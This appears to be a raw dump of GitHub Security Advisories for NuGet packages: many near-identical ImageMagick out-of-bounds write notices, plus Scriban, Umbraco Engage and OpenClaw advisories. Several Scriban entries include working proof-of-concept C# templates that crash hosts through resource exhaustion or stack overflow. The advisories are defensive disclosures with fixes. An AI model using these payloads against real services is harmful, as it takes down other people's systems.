deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-mw3m-pqr2-qv7c
Package: Magick.NET-Q16-HDRI-OpenMP-arm64 (NUGET)
Severity: MODERATE (CVSS 4.0)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.1
Patched in: 14.11.1

Summary: ImageMagick has an Out-of-Bounds write of a zero byte in  its X11 display interaction

Details:
An out-of-bounds write of a zero byte exists in the X11 `display` interaction path that could lead to a crash.
GitHub Security Advisory: GHSA-mw3m-pqr2-qv7c
Package: Magick.NET-Q16-HDRI-AnyCPU (NUGET)
Severity: MODERATE (CVSS 4.0)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.1
Patched in: 14.11.1

Summary: ImageMagick has an Out-of-Bounds write of a zero byte in  its X11 display interaction

Details:
An out-of-bounds write of a zero byte exists in the X11 `display` interaction path that could lead to a crash.
GitHub Security Advisory: GHSA-mw3m-pqr2-qv7c
Package: Magick.NET-Q16-AnyCPU (NUGET)
Severity: MODERATE (CVSS 4.0)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.1
Patched in: 14.11.1

Summary: ImageMagick has an Out-of-Bounds write of a zero byte in  its X11 display interaction

Details:
An out-of-bounds write of a zero byte exists in the X11 `display` interaction path that could lead to a crash.
GitHub Security Advisory: GHSA-c875-h985-hvrc
Package: scriban (NUGET)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 7.0.0
Patched in: 7.0.0

Summary: Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service

Details:
## Summary

Scriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value.

## Details

The relevant code path is:

- `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46.
- `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()`, not to internal helper iteration.
- `array.size` in `src/Scriban/Functions/ArrayFunctions.cs` lines 596–609 calls `list.Cast<object>().Count()` for non-collection enumerables.
- `1..N` creates a `ScriptRange` from `ScriptBinaryExpression.RangeInclude()` in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 745–748.
- `ScriptRange` then yields every element one by one **without going through `StepLoop()`** in `src/Scriban/Runtime/ScriptRange.cs`.

This means a single statement can perform arbitrarily large iteration without being stopped by `LoopLimit`.

There is also a related memory-amplification path in `string * int`:

- `ScriptBinaryExpression.CalculateToString()` appends in a plain `for` loop in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 301–334.

---

## Proof of Concept

### Setup

```bash
mkdir scriban-poc3
cd scriban-poc3
dotnet new console --framework net8.0
dotnet add package Scriban --version 6.6.0
```

### `Program.cs`

```csharp
using Scriban;

var template = Template.Parse("{{ 1..1000000 | array.size }}");

var context = new TemplateContext
{
    LoopLimit = 1
};

Console.WriteLine(template.Render(context));
```

### Run

```bash
dotnet run
```

### Actual Output

```
1000000
```

### Expected Behavior

A safety limit of `LoopLimit = 1` should prevent a template from performing one million iterations worth of work.

### Optional Stronger Variant (Memory Amplification)

```csharp
using Scriban;

var template = Template.Parse("{{ 'A' * 200000000 }}");
var context = new TemplateContext
{
    LoopLimit = 1
};

template.Render(context);
```

This variant demonstrates that `LoopLimit` also does not constrain large internal allocation work.

---

## Impact

This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on `LoopLimit` as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.

The issue impacts:

- Template-as-a-service systems
- CMS or email rendering systems that accept user templates
- Any multi-tenant use of Scriban with untrusted template content
GitHub Security Advisory: GHSA-p6q4-fgr8-vx4p
Package: Scriban (NUGET)
Severity: HIGH (CVSS 7.5)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: < 7.0.0
Patched in: 7.0.0

Summary: Scriban has a Stack Overflow via Nested Array Initializers That Bypass the ExpressionDepthLimit Fix

Details:
### Summary
StackOverflowException via nested array initializers bypasses ExpressionDepthLimit fix (GHSA-wgh7-7m3c-fx25)

### Details
The recent fix for GHSA-wgh7-7m3c-fx25 (uncontrolled recursion in parser) added `ExpressionDepthLimit` defaulting to 250. However, deeply nested **array initializers** (`[[[[...`) recurse through `ParseArrayInitializer` → `ParseExpression` → `ParseArrayInitializer`, which is a **different recursion path** not covered by the expression depth counter.

This causes a `StackOverflowException` on current main (commit b5ac4bf - "Add limits for default safety").

### PoC
```
using Scriban;

// ExpressionDepthLimit (default 250) does NOT prevent this crash
string nested = "{{ " + new string('[', 5000) + "1" + new string(']', 5000) + " }}";
Template.Parse(nested); // StackOverflowException - process terminates
```

### Impact
Same as GHSA-wgh7-7m3c-fx25: High severity. StackOverflowException cannot be caught with try/catch in .NET - the process terminates immediately. Any application calling Template.Parse with untrusted input is vulnerable, even with the new default ExpressionDepthLimit enabled.
GitHub Security Advisory: GHSA-vmvw-pwwf-cc2w
Package: openclaw (NUGET)
Severity: LOW (CVSS 3.7)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 2026.2.25
Patched in: unpatched

Summary: Duplicate Advisory: OpenClaw has cross-account DM pairing authorization bypass via unscoped pairing store access

Details:
## Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-vjp8-wprm-2jw9. This link is maintained to preserve external references.

## Original Description
OpenClaw versions prior to 2026.2.26 contains an authorization bypass vulnerability in the pairing-store access control for direct message pairing policy that allows attackers to reuse pairing approvals across multiple accounts. An attacker approved as a sender in one account can be automatically accepted in another account in multi-account deployments without explicit approval, bypassing authorization boundaries.
GitHub Security Advisory: GHSA-5rpf-x9jg-8j5p
Package: scriban (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 6.5.8
Patched in: 6.6.0

Summary: Scriban Affected by Memory Exhaustion (OOM) via Unbounded String Generation (Denial of Service)

Details:
`TemplateContext.LimitToString` defaults to `0` (unlimited). While Scriban implements a default `LoopLimit` of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth.

**Proof of Concept (PoC):**
The following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process.

```csharp
using Scriban;

string maliciousTemplate =
    @"
        {{
            a = ""A""
            for i in 1..30
                a = a + a
            end
            a
        }}";

var template = Template.Parse(maliciousTemplate);

var context = new TemplateContext();

try
{
    template.Render(context);
}
catch (Exception ex)
{
    Console.WriteLine("\nException: " + ex.Message);
}
```

**Impact:**
An attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS).

**Suggested Fix:**
Enforce a sensible default limit for string output. Set default `LimitToString` to 1MB (1,048,576 characters). 

```csharp
public int LimitToString { get; set; } = 1048576; 
```
GitHub Security Advisory: GHSA-grr9-747v-xvcp
Package: scriban (NUGET)
Severity: HIGH (CVSS 7.5)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: <= 6.5.8
Patched in: 6.6.0

Summary: Scriban has an Infinite Recursion during Object Rendering Leads to Stack Overflow and Process Crash (Denial of Service)

Details:
When Scriban renders an object that contains a circular reference, it traverses the object's members infinitely. Because the `ObjectRecursionLimit` property defaults to unlimited, this behavior exhausts the thread's stack space, triggering an uncatchable `StackOverflowException` that immediately terminates the hosting process.

When rendering objects (e.g., `{{ obj }}`), the Scriban rendering engine recursively inspects and formats the object's properties. To prevent infinite loops caused by deeply nested or circular data structures, `TemplateContext` contains an `ObjectRecursionLimit` property. 

However, this property currently defaults to `0` (unlimited). If the data context pushed into the template contains a circular reference, the renderer will recurse indefinitely. This is especially dangerous for web applications that map user-controlled payloads (like JSON) directly to rendering contexts, or for applications that pass ORM objects (like Entity Framework models, which frequently contain circular navigation properties) into the template.

#### Proof of Concept (PoC)
The following C# code demonstrates the vulnerability. Executing this will cause an immediate, fatal `StackOverflowException`, bypassing any standard error handling.

```csharp
using Scriban;
using Scriban.Runtime;

var template = Template.Parse("{{ a }}");
var context = new TemplateContext();
var a = new ScriptObject();

// Introduce a cycle
a["self"] = a;
context.PushGlobal(new ScriptObject { { "a", a } });

try {
  // This crashes the entire process immediately
  template.Render(context);
} catch (Exception ex) {
  // This will never execute because StackOverflowException
  Console.WriteLine("Caught exception: " + ex.Message);
}
```

#### Impact
This vulnerability allows a Denial of Service (DoS) attack. If a malicious user can manipulate the data structure passed to the renderer to include a cyclic reference, or if the application passes a complex object graph to an untrusted template, the entire .NET hosting process will crash.

#### Suggested Remediation
Update `TemplateContext.cs` to set `ObjectRecursionLimit` to a safe default, such as `20`.

```csharp
public int ObjectRecursionLimit { get; set; } = 20;
```
By implementing this default, circular references will gracefully result in a catchable `ScriptRuntimeException` rather than a fatal process crash.
GitHub Security Advisory: GHSA-wgh7-7m3c-fx25
Package: scriban (NUGET)
Severity: HIGH (CVSS 7.5)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: <= 6.5.8
Patched in: 6.6.0

Summary: Scriban has Uncontrolled Recursion in Parser Leads to Stack Overflow and Process Crash (Denial of Service)

Details:
Scriban is vulnerable to an uncontrolled process crash resulting in a Denial of Service. Because the recursive-descent parser does not enforce a default limit on expression depth, an attacker who controls template input can craft a heavily nested template that triggers a `StackOverflowException`. In .NET, a `StackOverflowException` cannot be caught by standard `try-catch` blocks, resulting in the immediate and ungraceful termination of the entire hosting process. 

Scriban utilizes a recursive-descent parser to process template expressions. While the library exposes an `ExpressionDepthLimit` property in its `ParserOptions`, this property defaults to `null` (disabled). 

If an application accepts user-supplied templates (or dynamically constructs templates from untrusted input), an attacker can supply thousands of nested parentheses or blocks. As the parser recursively evaluates each nested layer, it consumes thread stack space until it exceeds the limits of the host OS, triggering a fatal crash.

#### Impact

An attacker can supply crafted input that triggers a `StackOverflowException`, causing immediate termination of the hosting process and resulting in a Denial of Service. In applications that process untrusted or user-controlled templates (e.g., web applications or APIs), this can be exploited remotely without authentication. The failure is not recoverable, requiring a full process restart and leading to service disruption.

#### Proof of Concept (PoC)
The following C# code demonstrates the vulnerability. Executing this code will immediately terminate the application process.

```csharp
using Scriban;

// Creates a deeply nested expression: (((( ... (1) ... ))))
string nested = new string('(', 10000) + "1" + new string(')', 10000);

try {
  // This will crash the entire process immediately
  Scriban.Template.Parse("{{ " + nested + " }}");
} catch (Exception ex) {
  // This catch block will never execute because StackOverflowException
  Console.WriteLine("Caught exception: " + ex.Message);
}
```

#### Suggested Remediation

Update the `ParserOptions` constructor (or the internal parser initialization) to set a default value for `ExpressionDepthLimit`. A limit of `1000` (or even lower, such as `250` or `500`) is generally more than enough for legitimate templates while safely preventing stack exhaustion.

```csharp
public int? ExpressionDepthLimit { get; set; } = 250; 
```
Alternatively, document the risk heavily and warn developers to manually set `ExpressionDepthLimit` if evaluating untrusted templates, though a secure-by-default approach is strongly preferred.
GitHub Security Advisory: GHSA-86vq-ccwf-rm62
Package: Umbraco.Engage.Forms (NUGET)
Severity: HIGH (CVSS 7.5)
CWE: CWE-284: Improper Access Control, CWE-306: Missing Authentication for Critical Function, CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 16.0.0, < 16.2.1
Patched in: 16.2.1

Summary: Umbraco.Engage.Forms Allows Unauthorized Access to Multiple API Endpoints

Details:
### Description
A vulnerability has been identified in Umbraco Engage where certain API endpoints are exposed without enforcing authentication or authorization checks. The affected endpoints can be accessed directly over the network without requiring a valid session or user credentials. By supplying a user-controlled identifier parameter (e.g., ?id=), an attacker can retrieve sensitive data associated with arbitrary records.

Because no access control validation is performed, the endpoints are vulnerable to enumeration attacks, allowing attackers to iterate over identifiers and extract data at scale.

### Impact
An unauthenticated attacker can retrieve sensitive Engage-related data by directly querying the affected API endpoints. The vulnerability allows arbitrary record access through predictable or enumerable identifiers.

The confidentiality impact is considered high. No direct integrity or availability impact has been identified.

The scope of exposed data depends on the deployment but may include analytics data, tracking data, customer-related information, or other Engage-managed content.

### Patches
The vulnerability affects both v16 and v17. Patches have already been released. Users are advised to update to 16.2.1 or 17.1.1

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

### References
_Are there any links users can visit to find out more?_
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q8-x86 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q8-x64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q8-arm64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q8-OpenMP-x64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q8-OpenMP-arm64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q8-AnyCPU (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-x86 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-x64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-arm64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-OpenMP-x86 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-OpenMP-x64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-OpenMP-arm64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-HDRI-x86 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-HDRI-x64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-HDRI-arm64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-HDRI-OpenMP-x64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-HDRI-OpenMP-arm64 (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-HDRI-AnyCPU (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.
GitHub Security Advisory: GHSA-gc62-2v5p-qpmp
Package: Magick.NET-Q16-AnyCPU (NUGET)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 14.11.0
Patched in: 14.11.0

Summary: ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash

Details:
The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte.